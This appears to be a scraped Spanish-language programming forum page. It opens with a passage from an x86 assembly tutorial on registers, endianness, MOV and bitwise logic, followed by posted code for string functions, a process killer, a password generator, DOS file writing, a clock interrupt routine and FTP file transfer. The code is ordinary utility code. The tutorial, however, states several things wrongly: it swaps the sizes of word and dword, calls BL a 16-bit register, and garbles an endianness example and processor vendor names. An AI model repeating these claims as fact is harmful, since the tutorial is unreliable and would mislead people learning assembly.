Nota: Antes de continuar, ten en cuenta que debes conocer las especificaciones del procesador de tu sistema, un procesador CISC no actúa igual que un procesador RISC, con RISC no tenemos más que dos saltos, en cambio con CISC (la de los computadores normales) utilizan el lenguaje ensamblador 80x86, en este caso por ejemplo, el AMD de Intel tiene 16 tipos de contenido de saltos y puede extraer comparaciones como "mayor que", "mayor o igual que", "menor o igual que" "menor que" "igual que" etc.
Creo que lo he dicho varias veces, el intentar facilitar las cosas para el hombre ha hecho que los CISC tengan problemas frente a los RISC, así que de momento, enfocados en CISC que es el más común.

Formas de Almacenamiento

También tenemos que tener en cuenta que existen dos maneras de almacenar los resultados, Big Endian y Little Endian.

Big Endian se almacenan los datos tal cual, es decir si yo guardo en la memoria el valor 124679AFh, en la zona quedará guardado como ??,12,36,79,AF,??

Little Endian (Usado en portátiles) es distinto, los valores son almacenados al revés, por eso esta misma cifra, 124679AFh será almacenada como ??,AF,79,46,12,?? esto normalmente no nos va a afectar por que las instrucciones hacen por si mismas las conversiones, pero hay que tenerlo en cuenta cuando si queremos acceder por ejemplo, a un byte en particular y no a todo el conjunto.


Registros de los 80x86

En las arquitecturas tipo 80x86, tenemos una serie de registros comunes compartidos por los fabricantes, con algunos de ellos se pueden realizar operaciones aritméticas, movimientos de memoria, etc etc etc, estos registros son:

EAX: Normalmente se le conoce como "Acumulador" ya que es aquí donde se situarán los resultados de otras operaciones, su tamaño es de 32 bits, se puede dividir en dos sub-registros de 16 bits cada uno y el menos significativo de los dos (es decir, el de la derecha) se puede dividir en dos sub-sub-registros de 8 bits cada uno, para acceder a ellos:

EAX = toma todo el valor de 0 a 31 bits
AX = toma el valor del bit 0 al bit 15
AL = toma el valor del bit 0 al bit 7
AH = toma el valor del bit 8 al bit 15


EBX: Sucede lo mismo que con EAX, se accede a sus datos de esta forma:

EBX = toma todo el valor de 0 a 31 bits
BX = toma el valor del bit 0 al bit 15
BL = toma el valor del bit 0 al bit 7
BH = toma el valor del bit 8 al bit 15

ECX: Este registro tiene las mismas reglas que EAX y EBX, la diferencia es que tiene la función especial de servir como contador de bucles y hacer operaciones con cadenas. Se accede de esta forma:

ECX = toma todo el valor de 0 a 31 bits
CX = toma el valor del bit 0 al bit 15
CL = toma el valor del bit 0 al bit 7
CH = toma el valor del bit 8 al bit 15

EDX: Tiene las mismas reglas que EAX y EBX, la diferencia radica en que aquí es donde se guardarán parte de los resultados de algunas operaciones como multiplicación y división. Aparte, este registro es llamado "Puntero de E/S" ya que tiene funciones de acceso directo a puertos.

EDX = toma todo el valor de 0 a 31 bits
DX = toma el valor del bit 0 al bit 15
DL = toma el valor del bit 0 al bit 7
DH = toma el valor del bit 8 al bit 15

EBP Es un registro de 32 bits, que solo tiene un sub-registro de 16 bits llamado BP. Se representa de esta manera:

EBP = toma todo el valor de 0 a 31 bits
BP = toma el valor del bit 0 al bit 15

ESI: Es un registro de 32 bits más específico, al igual que EBP tiene un sub-registro "SI" de 16 bits, pero no se divide en sub-sub-registros de 8 bits, ESI tiene la propiedad de que nos servirá en algunas funciones como LODSX, MOVSX, y SCASX, que veremos más adelante (Cabe destacar que ESI es operando de origen siempre). Se accede de esta forma:

ESI = toma todo el valor de 0 a 31 bits
SI = toma el valor del bit 0 al bit 15

EDI Tiene las mismas reglas básicas hasta que llegamos a los operandos con otras funciones, ESI siempre será el operador de origen y EDI el operador de destino. Se accede de esta forma:

EDI = toma todo el valor de 0 a 31 bits
DI = toma el valor del bit 0 al bit 15

EIP: Este es importante, es el "Contador de Programa" y no puede ser accedido mediante métodos normales, se almacena a la dirección de la próxima instrucción que se ejecutará en el procesador, Existe también una sub división IP, con los 16 bits de la derecha pero no se tendrá en cuenta ya que en sistemas operativos cono Windows y Linux se usará siempre la combinación

CS:EIP para determinar lo que hay que ejecutar, solo en SI viejos como MS-DOS se usa es

CS:IP para realizar estas acciones.

ESP: Es un registro de pila que indica la dirección a la cual se apunta.

Registros de segmento: Los registros de segmento son registros de 16 bits que se anteponen a los anteriores para formar una dirección completa, hay que tener en cuenta que sea cual sea el caso estamos hablado de direcciones virtuales así que cuando el procesador interpreta un segmento no está operando con nada, combinaciones de un segmento (Como en el caso de EIP) pueden ser [segmento]:[operando] CS:EIP. La función de estos segmentos es de separar datos de código, zonas de acceso restringido... etc, así los dos últimos registros de segmento en Windows indican el ring con el que procesador está corriendo, ring3 en Windows, es con permisos de usuario y se representa con 11... ring0 es administrador con lo cual los últimos registros serán "00" que indican que está corriendo como Administrador.

CS: Es el registro de segmento de ejecución, por lo tanto un registro como CS:EIP indica la dirección completa que se está ejecutando (En otras palabras se coloca CS, refiriéndonos a que estamos apuntando a la dirección EIP en el segmento CS)

SS: Es el registro de segmento de pila y tal como sucede con CS:EIP, la pila estará siendo apuntada por SS:ESP

DS: Normalmente es el registro de datos, tomando como ejemplo la operación ADD (sumar) vemos que una posible forma de usarla es la de tener "ADD EAX,DS:[EBX]" que añadiría al registro EAX el contenido de la dirección del segmento DS y la dirección EBX.

ES, FS y GS: Son segmentos que apuntan a distintos segmentos de datos.


Nota: También están los flags y los registros de coprocesador, pero probablemente en este primer capítulo no vamos a verlos... de echo, los de coprocesador es difícil que los veamos, en si son 8 registros de 80 bits que contienen números representados en una flotante llamados R0..R7, el GDTR e IDTR, registros de control CR0, CR1, CR2,CR3 y CR4.. y algunos otros más, pero es difícil que los usemos, no solo en este manual, de por si, es difícil que los usemos.

EL MOV Y LOS ACCESOS A MEMORIA

Bueno, ahora si comenzamos en serio, MOV es una de las instrucciones más importantes del ensamblador, su función es la transferencia de información, esa transferencia puede darte de un registro a un registro o de un registro a una memoria.. nunca, jamás de memoria a memoria.. también se transfiere información entre valores inmediatos teniendo como destino la memoria o un registro, para ello se tendrán dos operandos, el Primero es el de DESTINO y el Segundo es el que ORIGEN... vale apréndanse eso, el primero es y siempre será el DESTINO y el segundo el ORIGEN... ejemplo:

MOV EAX, EBX

OJO, a pesar de que MOV se parezca tanto a mover, lo que hace es copiar, es decir EBX seguirá valiendo lo mismo que valía antes, EAX si cambia de valor pero EBX no.

Ya, explicado esto, las opciones de trabajar con MOV son las siguientes:

MOV registro1, registro2: Como por ejemplo MOV EAX, EBX que copia el contenido del registro2 en el registro1

MOV registro, valor inmediato(imm): En este caso se le asigna un valor inmediato a cierto registro, por ejemplo MOV EBX, 1479A7F4h asigna directamente ese valor hexadecimal al registro EBX

MOV registro, memoria(mem): Aquí se transfiere el contenido de un registro a una posición en la memoria, la cual se encierra en corchetes, se puede representar la dirección exacta de la memoria o usar un valor de registro encerrado en corchetes, lo que está entre corchetes es una referencia directa a la memoria y cuando es procesada la instrucción el registro toma el valor de la memoria, por ejemplo MOV EDX, [FFFFEDFTh] este es un acceso directo a una dirección en la memoria, en caso de que la dirección esté en un registro se puede hacer así MOV EDX, [EAX]

También hay una variante que usa el valor que existe en un registro más un desplazamiento, así que dentro de los corchetes se le señala una dirección y en base de esto se le suma o se le resta una cantidad. De esta manera MOV ECX,[EBX+25]
De acuerdo a la variante anterior, también podemos unir varios registros, de esta manera. MOV EAX,[EBP+ESI+12]

MOV memoria(mem), registro(reg): Con las mismas reglas que el MOV reg, mem pero al revés, en este caso podemos decir que cogemos un registro y lo copiamos a la memoria, con las mismas reglas pero al contrario. Ejemplo MOV [78FEAA8Dh], EDI

MOV memoria(mem), valor inmediato(imm): El valor inmediato se copia a una posición de la memoria. Ejemplo MOV [EBP], 1357h

El MOV no termina aquí, el ejemplo anterior daría un fallo al compilador ya que no se le está indicando el tamaño, como vemos un EBP tiene 32 bits mientras que la cifra hexadecimal 1257h es de 16 bits (recuerden que cada cifra vale 4 bits), entonces tenemos que especificarle al compilador que escriba los 16 bits que corresponden a EBP, o escribir los 32 bits en la serie hexadecimal. 00001357h

Para solucionar este problema, cuando existen instrucciones dudosas como estas, (esto también varía según el compilador) tenemos el word, dword y el byte en este caso, Word le da un valor de 32 bits, dword le da un valor de 16 bits y byte le da un valor de 8 bits. Ejemplo

MOV dword [EBP], 1357h

MOV word [EBP], 1357h

Finalizando con esto, también tenemos que ver los segmentos, en si no tiene perdida ya que si escribimos en un compilador MOV DS:[EAX], EBX el compilador quitará el DS para ahorrar espacio, ya que actúa de esa manera por defecto, pero nosotros podemos elegir el segmento a usar, no olvidemos colocar los ":" al finalizar el segmento.

Solución de operandos con tamaños distintos

Vale, supongamos que tenemos un BL (16 bits) y quiero moverlo a EAX, puedo simplemente colocar MOV EAX, BL? no, dará un error al compilador por que los tamaños son diferentes para eso existen el MOVZX y el MOVSX

En el MOVZX se realiza la operación añadiendo ceros al operando de destino, es decir, para el ejemplo del caso anterior, suponiendo que BL valga 4578h EAX quedará valiendo 00004578h... bueno y que pasa si BL vale menos? Por ejempl 12h? pues EAX quedará valiendo 00000012h por que el resto se ha rellenado con 0

En el MOVSX se realiza la misma operación solo que el valor puede ser tanto de ceros como de unos (0,1) dependiendo del bit más significativo, es decir, volviendo al ejemplo anterior, si BL vale 10000000b (80h) se va a rellenar con unos el EAX, y en este caso EAX quedará valiendo FFFFFF80h, si el bit más significativo no es 1, por ejemplo que BL valga 01000000b (40h) se va a rellenar con ceros, y EAX tomará el valor de 00000040h.

Operaciones lógicas en Binarios

Las operaciones dentro de los registros se dividen en dos, las lógicas y las aritméticas, las aritméticas debemos tenerla en la cabeza por que las tratamos cada día (Suma, resta, multiplicación, división) y las lógicas... bueno, esas operan a nivel de bit, así que pueden pegarnos un poquito duro jeje, las operaciones lógicas son AND, OR, XORNOT

AND: El AND realiza un bit a bit y da como resultado 1 si LOS DOS BITS CON LOS QUE SE OPERAN SON 1, en caso contrario da 0:

11000101
10110001
-------------
10000001

OR: El OR realiza un bit a bit y da como resultado 1 si ALGUNO DE LOS DOS BITS CON LOS QUE SE OPERAN ES 1, si los dos bits son 0 da como resultado 0:

11000101
10110001
-------------
11110101

XOR: El XOR realiza un bit a bit y da como resultado 1 si SI SOLO UNO DE LOS BITS CON LOS QUE SE OPERAN VALE 1, de lo contrario vale 0:

11000101
10110001
-------------
01110100

NOT: El NOT simplemente invierte los BITS de un OPERANDO, así que solo necesita de uno por que si se colocan DOS OPERANDOS, creará un error. Ejemplo.

10110001
-------------
01001110


***Pequeña interrupción para mensaje personal, solo le interesa a "Eldiabloxico"***

Mirando esto se me pasó por la mente lo de Spinozza... Diablo, tu crees que si este tío hubiera sabido estas reglas de binarios habría logrado analizar al hombre y hacer la fórmula matemática para saber las reacciones y pensamientos de cada persona???

*****Fin de la interrupción*****

You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login - [Caído]
#70
ASM / [ASM] Funciones para manipular cadenas - by regx
Febrero 24, 2010, 04:00:18 PM
strlen(char*)
Código: asm

strlen:
     push ebp
     mov ebp,esp
     cld
     mov edi,[ebp + 8]
     mov al,0
     mov ecx,0xFFFFFFFF
     L1:
        inc ecx
        scasb
        jnz L1
     mov eax,ecx
     pop ebp
retn 4


strcpy(char* dest, char* source);

Código: asm

strcpy:
        push ebp
        mov ebp,esp
        push esi
        push edi
        cld
        mov esi,[ebp + 12]
        mov edi,[ebp + 8]
        @1:
                movsb
                cmp byte[esi],0
                jnz @1
        pop edi
        pop esi
        pop ebp
retn 8

strncpy(char* dest, char* source, int bytes_a_copiar)
Código: asm

strncpy:
     push ebp
     mov ebp,esp
     push esi
     push edi
     push ecx
     mov ecx,[ebp + 16]
     mov esi,[ebp + 12]
     mov edi,[ebp + 8]
     repnz movsb
     pop ecx
     pop edi
     pop esi
     pop ebp
retn 12


otra funcion chapucera mas..

strrev(char*)

Código: asm

strrev:
        push ebp
        mov ebp,esp
        push edi
        mov edi,[ebp + 8]
        push edi
        call strlen
        xor ecx,ecx
        dec eax
        jmp LL1
        LL0:
                dec eax
                inc ecx
                cmp ecx,eax
                jge LL2
        LL1:
                mov dl,byte[edi + ecx]
                xchg byte[edi + eax],dl
                mov byte[edi + ecx],dl
                jmp LL0

        LL2:
        pop edi
        pop ebp
retn 4


itoa(char* buff, int numero)
Código: asm

itoa:
      push ebp
      mov ebp,esp
      pushad
      mov edi,[ebp + 8]
      mov eax,[ebp + 12]
      mov ebx,10
      L@@1:
        xor edx,edx
        div ebx
        xchg eax,edx
        or eax,48
        stosb
        mov eax,edx
        cmp eax,0
        jnz L@@1
        inc edi
        mov byte[edi],al
        push dword[ebp + 8]
        call strrev
      popad
      pop ebp
retn 8


strcat(char* destino, char* source)

Código: asm

strcat:
push ebp
mov ebp,esp
push esi
push edi
mov esi,[ebp + 12]
mov edi,[ebp + 8]
mov al,0
repnz scasb
dec edi
@a:
movsb
cmp byte[esi],al
jnz @a
mov byte[esi],al
pop edi
pop esi
pop ebp
retn 8


toUpper(char*)
Código: asm

toUpper:
push ebp
mov ebp,esp
    mov esi,[ebp + 8]
begin:
    lodsb
    cmp al,0
    je endx
    sub al,0x61
    cmp al,0x1A
    ja incr
    and byte[esi-1],0xDF
    incr:
jmp begin
endx:
pop ebp

retn 4




toLower(char*)
Código: asm

toLower:
    push ebp
    mov ebp,esp
    mov esi,[ebp + 8]
beginL:
    lodsb
    cmp al,0
    je endxL
    sub al,0x41
    cmp al,0x1A
    ja incrL
    or byte[esi-1],0x20
    incrL:
jmp beginL
endxL:
pop ebp
retn 4
#71
ASM / Terminar un proceso en ASM
Febrero 24, 2010, 04:00:05 PM
Código: asm

;by regx

format pe console
entry main
include 'c:\fasm\include\win32ax.inc'
.data
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
struct PROCESSENTRY32      
       dwSize dd ?      
       cntUsage dd ?      
       th32ProcessID dd ?      
       th32DefaultHeapID dd ?      
       th32ModuleID dd ?      
       cntThreads dd ?      
       th32ParentProcessID dd ?      
       pcPriClassBase dd ?      
       dwFlags dd ?      
       szExeFile rb MAX_PATH     
ends      
pInfo PROCESSENTRY32      
hProcess dd ?      
hProcesses dd ?      
TH32CS_SNAPPROCESS equ 0x00000002      
NORM_IGNORECASE equ 0x00000001      
LOCALE_USER_DEFAULT equ 0x0400      
CSTR_EQUAL equ 0x2      
PROCESS_TERMINATE equ 0x0001      
lpExe db 256 dup(0)      
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
.code
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
main:      
invoke printf,"Escriba el proceso a terminar: "       
invoke scanf,"%s",lpExe
push 0
push TH32CS_SNAPPROCESS
call [CreateToolhelp32Snapshot]        
cmp eax,INVALID_HANDLE_VALUE      
jne NoE1      
push 1      
call ErrorReport      
jmp main@Salir      
   NoE1:
mov [hProcesses],eax
mov eax,sizeof.PROCESSENTRY32
mov [pInfo.dwSize], eax                       
push pInfo      
push [hProcesses]        
call [Process32First]      
cmp eax,FALSE      
jne NoE2      
push 2      
call ErrorReport      
jmp main@Salir      
   NoE2:      
bucle1:      
push 0xFFFFFFFF      
push lpExe      
push 0xFFFFFFFF      
push pInfo.szExeFile      
push NORM_IGNORECASE      
push LOCALE_USER_DEFAULT      
call [CompareString]      
cmp eax,CSTR_EQUAL      
jne Next      
push [pInfo.th32ProcessID]      
push FALSE      
push PROCESS_TERMINATE      
call [OpenProcess]      

cmp eax,0      
je Next      
mov [hProcess],eax      
push 0      
push [hProcess]      
call [TerminateProcess]      
push [hProcess]      
call [CloseHandle]      

   Next:      
push pInfo      
push [hProcesses]      
call [Process32Next]      
cmp eax,FALSE      
je FinBucle1      
jmp bucle1      
FinBucle1:      
push [hProcesses]      
call [CloseHandle]      
main@Salir:      

leave      
ret      
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;,                                                             
proc ErrorReport,raz      
call [GetLastError]      
cmp [raz],1      
je @0      
cmp [raz],2      
je @1      
cmp [raz],3      
je @2      
jmp @def      
@0:      
invoke printf,"Error Handle Invalido code %d ",eax     
jmp Error@Salir      
@1:      
invoke printf,"Error cannot open the process ",eax     
jmp Error@Salir      
@2:      
jmp Error@Salir      
@def:      
invoke printf,"Error desconocido code %d ",eax        
Error@Salir:      
call [GetLastError]      
invoke printf,"%d",eax      
leave      
ret      
endp      
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
section '.idata' import data readable
library k32,'kernel32.dll',msv,'msvcrt.dll'
import k32,CreateToolhelp32Snapshot,'CreateToolhelp32Snapshot',\
GetLastError,'GetLastError',Process32First,'Process32First',\
       CompareString,'CompareStringA', OpenProcess,'OpenProcess',\
       TerminateProcess,'TerminateProcess', \
       CloseHandle,'CloseHandle',Process32Next,'Process32Next'
import msv,printf,'printf',scanf,'scanf'
#72
ASM / Generador de passwords - by PeterPunk
Febrero 24, 2010, 03:59:20 PM
Aqui les dejo un pequeño generador en MASM32, para los que quieran iniciarse en la programación de este lenguaje:

rsrc.rc

Código: c

#include "\masm32\include\resource.h"

#define IDC_STATIC   -1
#define IDI_ICON 101
#define IDC_CMDGENERAR 3000
#define IDC_CMDINFO                                     3001
#define IDC_CHKNUMEROS 3002
#define IDC_CHKMAYUSCULAS 3003
#define IDC_CHKMINUSCULAS 3004
#define IDC_CHKSIMBOLOS 3005
#define IDC_COMBOFORMATO 3006
#define IDC_TXTPASS 3007

IDI_ICON ICON DISCARDABLE       "misfits.ico"

IDD_DIALOG DIALOGEX 0, 0, 157, 105
STYLE DS_3DLOOK | DS_CENTER | DS_MODALFRAME | DS_FIXEDSYS | WS_VISIBLE | WS_BORDER | WS_CAPTION | WS_DLGFRAME | WS_POPUP | WS_SYSMENU
CAPTION "Password Generator by PeterPunk"
FONT 8, "Ms Shell Dlg 2"
BEGIN
    DEFPUSHBUTTON   "Generar", IDC_CMDGENERAR, 15, 85, 50, 14, BS_DEFPUSHBUTTON, 0, 0
    PUSHBUTTON      "Info", IDC_CMDINFO, 90, 85, 50, 14, BS_PUSHBUTTON, 0, 0
    GROUPBOX        "Alfabeto", IDC_STATIC, 5, 5, 145, 24, 0, 0, 0
    GROUPBOX        "Formato", IDC_STATIC, 5, 31, 145, 24, 0, 0, 0
    GROUPBOX        "Password", IDC_STATIC, 5, 57, 145, 24, 0, 0, 0
    AUTOCHECKBOX    "0-9", IDC_CHKNUMEROS, 15, 15, 25, 10, BS_AUTOCHECKBOX, 0, 0
    AUTOCHECKBOX    "A-Z", IDC_CHKMAYUSCULAS, 45, 15, 25, 10, BS_AUTOCHECKBOX, 0, 0
    AUTOCHECKBOX    "a-z", IDC_CHKMINUSCULAS, 75, 15, 25, 10, BS_AUTOCHECKBOX, 0, 0
    AUTOCHECKBOX    "Símbolos", IDC_CHKSIMBOLOS, 105, 15, 40, 10, BS_AUTOCHECKBOX, 0, 0
    COMBOBOX        IDC_COMBOFORMATO, 15, 39, 125, 100, CBS_DROPDOWN, 0, 0
    EDITTEXT        IDC_TXTPASS, 15, 66, 125, 12, ES_CENTER | ES_AUTOHSCROLL | ES_READONLY, 0
END



PasswordGenerator.asm
Código: asm

.386
.model flat, stdcall
option casemap :none

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
include \masm32\include\masm32.inc

includelib \masm32\lib\user32.lib     
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\masm32.lib

WndProc           PROTO :DWORD,:DWORD,:DWORD,:DWORD

.data
; xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx resource data              xxxx
    IDC_STATIC          equ       -1
    IDI_ICON            equ      101
    IDC_CMDGENERAR equ     3000
    IDC_CMDINFO         equ     3001
    IDC_CHKNUMEROS equ     3002
    IDC_CHKMAYUSCULAS equ     3003
    IDC_CHKMINUSCULAS equ     3004
    IDC_CHKSIMBOLOS equ     3005
    IDC_COMBOFORMATO equ     3006
    IDC_TXTPASS equ     3007
    dlgname       db "IDD_DIALOG",0
; xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx enter your text            xxxx
    szTitulo      db "Password Generator by PeterPunk",0
    szAboutText   db "Password Generator coded by PeterPunk",13,10
                  db "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx",13,10,13,10
                  db "Formato:",13,10
                  db 34,"0",34,": Número en esa posición",13,10
                  db 34,"A",34,": Letra mayúscula en esa posición",13,10
                  db 34,"a",34,": Letra minúscula en esa posición",13,10
                  db 34,"?",34,": Cualquier caracter del alfabeto",13,10
                  db 34,"$",34,": Siguiente caracter literal",13,10
                  db "Resto de los caracteres: Caracter literal",0
    szNumeros     db "0123456789",0
    szMayusculas  db "ABCDEFGHIJKLMNOPQRSTUVWXYZ",0
    szMinusculas  db "abcdefghijklmnopqrstuvwxyz",0
    szSimbolos    db " !",34,"#$%&'()*+,-./:;<=>?@[\]^_`{|}~",0
    szFormato1    db "????-????-????-????",0
    szFormato2    db "????????",0
    szFormato3    db "AAAA-00000000-AAAA",0

.data?
    hInstance     dd ?
    hNumeros      dd ?
    hMayusculas   dd ?
    hMinusculas   dd ?
    hSimbolos     dd ?
    hFormato      dd ?
    szAlfabeto    db 96 dup (?)
    szFormato     db 101 dup (?)
    szPassword    db 101 dup (?)
    LonAlfabeto   dd ?
    LonFormato    dd ?

.code

start:

    invoke GetModuleHandle, NULL
    mov hInstance, eax
    invoke DialogBoxParam, hInstance, ADDR dlgname, 0, ADDR WndProc, 0
    invoke ExitProcess, eax

WndProc proc hWin:DWORD,uMsg:DWORD,wParam:DWORD,lParam :DWORD

    .if uMsg == WM_INITDIALOG
        invoke LoadIcon, hInstance, IDI_ICON
        invoke SendMessage, hWin, WM_SETICON, 0, eax
        invoke GetDlgItem, hWin, IDC_CHKNUMEROS
        mov hNumeros, eax
        invoke GetDlgItem, hWin, IDC_CHKMAYUSCULAS
        mov hMayusculas, eax
        invoke GetDlgItem, hWin, IDC_CHKMINUSCULAS
        mov hMinusculas, eax
        invoke GetDlgItem, hWin, IDC_CHKSIMBOLOS
        mov hSimbolos, eax
        invoke GetDlgItem, hWin, IDC_COMBOFORMATO
        mov hFormato, eax
        invoke SendMessage, hNumeros, BM_SETCHECK, 1, 0
        invoke SendMessage, hMayusculas, BM_SETCHECK, 1, 0
        invoke SendMessage, hFormato, CB_ADDSTRING, 0, offset szFormato1
        invoke SendMessage, hFormato, CB_ADDSTRING, 0, offset szFormato2
        invoke SendMessage, hFormato, CB_ADDSTRING, 0, offset szFormato3       
        invoke SendMessage, hFormato, CB_SETCURSEL, 0, 0
        invoke GetTickCount
        invoke nseed, eax
    .elseif uMsg == WM_CLOSE
        invoke EndDialog, hWin, 0
    .elseif uMsg == WM_COMMAND
        .if wParam == IDC_CMDINFO
            invoke MessageBox, hWin, offset szAboutText, offset szTitulo, MB_OK
        .elseif wParam == IDC_CMDGENERAR
            mov byte ptr [szAlfabeto], 0
            mov LonAlfabeto, 0
            invoke SendMessage, hNumeros, BM_GETCHECK, 0, 0
            .if (eax)
                invoke lstrcat, offset szAlfabeto, offset szNumeros
                add LonAlfabeto, 10
            .endif
            invoke SendMessage, hMayusculas, BM_GETCHECK, 0, 0
            .if (eax)
                invoke lstrcat, offset szAlfabeto, offset szMayusculas
                add LonAlfabeto, 26
            .endif
            invoke SendMessage, hMinusculas, BM_GETCHECK, 0, 0
            .if (eax)
                invoke lstrcat, offset szAlfabeto, offset szMinusculas
                add LonAlfabeto, 26
            .endif
            invoke SendMessage, hSimbolos, BM_GETCHECK, 0, 0
            .if (eax)
                invoke lstrcat, offset szAlfabeto, offset szSimbolos
                add LonAlfabeto, 33
            .endif
            invoke GetDlgItemText, hWin, IDC_COMBOFORMATO, offset szFormato,100
            mov LonFormato, eax
            xor ecx, ecx
            mov esi, offset szFormato
            mov edi, offset szPassword
@bucle:
            push ecx
            movzx eax, byte ptr [esi]
            .if eax == '0'
                invoke nrandom, 10
                lea eax, [szNumeros+eax]
                movzx eax, byte ptr [eax]
            .elseif eax == 'A'
                invoke nrandom, 26
                lea eax, [szMayusculas+eax]
                movzx eax, byte ptr [eax]
            .elseif eax == 'a'
                invoke nrandom, 26
                lea eax, [szMinusculas+eax]
                movzx eax, byte ptr [eax]
            .elseif eax == '?'
                cmp LonAlfabeto, 0
                jz @NonAlfabeto
                invoke nrandom, LonAlfabeto
                lea eax, [szAlfabeto+eax]
                movzx eax, byte ptr [eax]
@NonAlfabeto:               
            .elseif eax == '$'
                inc esi
                movzx eax, byte ptr [esi]
            .endif
            mov byte ptr [edi], al
            inc esi
            inc edi
            pop ecx
            inc ecx
            cmp ecx, LonFormato
            jb @bucle
            mov byte ptr [edi], 0
            invoke SetDlgItemText, hWin, IDC_TXTPASS, offset szPassword
        .endif
    .endif
    xor eax, eax
    ret

WndProc endp

end start




bytes ;)
#73
ASM / Crear y escribir un Archivo en ASM
Febrero 24, 2010, 03:59:06 PM
Crear
Código: asm
; Crear un archivo en ASM	

.model small
.stack 100h
.data

nombre db "c:\tasm\bin\bogota.txt",00h ;especificar directorio del archivo
maneja dw ?
.code
algo proc near
mov ax,@data
mov ds,ax
mov ah,3ch
mov cx,00
lea dx,nombre
int 21h
jc salir
mov maneja,ax
salir: mov ax,4c00h
int 21h
endp
end algo


Escribir

Código: asm

; Escribir un archivo en ASM

.model small
.stack 100h
.data
nombre db "c:\tasm\bin\bogota.txt",00h
texto db "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
maneja dw ?
.code
algo proc near
mov ax,@data
mov ds,ax
mov ah,3ch
mov cx,00
lea dx,nombre
int 21h
jc salir
mov maneja,ax
mov cx,500
nuevo: push cx
mov ah,40h
mov bx,maneja
mov cx,25
lea dx,texto
int 21h
pop cx
loop nuevo
mov ah,3eh
mov bx,maneja
int 21h
salir: mov ax,4c00h
int 21h
endp
end algo
#74
ASM / Reloj en ASM
Febrero 24, 2010, 03:58:34 PM
Código: asm
PIC     EQU     20H        
EOI     EQU     20H
TIMER   EQU     10H
NF10    EQU     9H
NRELOJ  EQU     1CH


        ORG 36
F10_IP      DW      ?
F10_CS      DW      0000

        ORG 70H
RELOJ_IP    DW      ?
RELOJ_CS    DW      0000


        ORG 1000H
PULSACIONES     DW      0
PULSADA         DB      0



HORAS           DB      30H
                DB      30H
                DB      ":"
MINUTOS         DB      30H
                DB      30H
FIN             DB      ?
;.........................................



        ORG 5000H
; Rutina de atencion a la interrupcion de f10.
RUTINA_F10:PUSH AX
        INC PULSACIONES
        MOV PULSADA,1       

        MOV AL,EOI
        OUT EOI,AL
        POP AX
        IRET
;...............................................
        ORG 6000H
RUTINA_RELOJ:PUSH AX

        INC MINUTOS+1
        CMP MINUTOS+1,3AH
        JNZ  seis
        MOV MINUTOS+1,30H
        INC MINUTOS
        CMP MINUTOS,36H
        JNZ seis
        MOV MINUTOS, 30H
cuatro:  INC HORAS+1
        CMP HORAS+1,34H
        JNZ cinco
        CMP HORAS,32H
        JNZ cinco
        MOV HORAS,30H
        MOV HORAS+1,30H
        JMP seis
cinco:  CMP HORAS+1,3AH
        JNZ seis
        MOV HORAS+1,30H
        INC HORAS
; Pone el contador del timer a 0
seis:   MOV AL,0
        OUT TIMER,AL
        MOV AL,EOI
        OUT EOI,AL
        POP AX
        IRET
;.............................................
        ORG 2000H
; Modifica los vectores de interrupcion y
; programa al PIC,y al TIMER.

INICIO: CLI


        MOV F10_IP, (OFFSET RUTINA_F10)
        MOV RELOJ_IP, (OFFSET RUTINA_RELOJ)
        MOV AL,0FCH
        OUT PIC+1,AL
        MOV AL,NF10
        OUT PIC+4,AL
        MOV AL,NRELOJ
        OUT PIC+5,AL
        MOV AL,120
        OUT TIMER+1,AL
        MOV AL,0
        OUT TIMER,AL
        MOV BX, OFFSET HORAS
        MOV AL,(OFFSET FIN)-(OFFSET HORAS)

        STI

bucle:  CMP PULSADA,1
        JNZ bucle
        MOV PULSADA,0
        INT 7
        JMP bucle

        END
#75
ASM / Subir, Bajar Archivos de Texto [FTP]
Febrero 24, 2010, 03:58:19 PM

Estas pequeñas funciones sirven  para subir y bajar archivos de texto por ftp, se usa la conexión directa y las funciones de la wininet ftpputfile y ftpgetfile para subir y bajar archivos...

para subir archivos:
Código: asm

UploadTextFile Proc Server:DWORD, User:DWORD, Pass:DWORD, LocalFileName:DWORD, RemoteFileName:DWORD
    Local hInternet:DWORD
    Local hFtp:DWORD

    invoke InternetOpen, NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0
    mov hInternet, eax

    invoke InternetConnect, hInternet, Server, 21, User, Pass,\
                         INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0


    mov hFtp, eax
    invoke FtpPutFile, hFtp, LocalFileName, RemoteFileName, FTP_TRANSFER_TYPE_ASCII, 0

    .if eax
        print "File Successfully Uploaded !", 0Dh, 0Ah
    .else
        print "Error Uploading File, Use InternetGetLastResponseInfo For More Information", 0Dh, 0Ah
    .endif

    invoke InternetCloseHandle, hInternet
    invoke InternetCloseHandle, hFtp
    xor eax, eax
    ret
UploadTextFile EndP




para bajar archivos:
Código: asm
DownloadTextFile Proc Server:DWORD, User:DWORD, Pass:DWORD, LocalFileName:DWORD, RemoteFileName:DWORD
    Local hInternet:DWORD
    Local hFtp:DWORD

    invoke InternetOpen, NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0
    mov hInternet, eax

    invoke InternetConnect, hInternet, Server, INTERNET_DEFAULT_FTP_PORT, User, Pass,\
                            INTERNET_SERVICE_FTP, INTERNET_FLAG_PASSIVE, 0

    mov hFtp, eax

    invoke FtpGetFile, hFtp, RemoteFileName, LocalFileName, TRUE, FILE_ATTRIBUTE_NORMAL,\
                       FTP_TRANSFER_TYPE_ASCII, 0
    .if eax
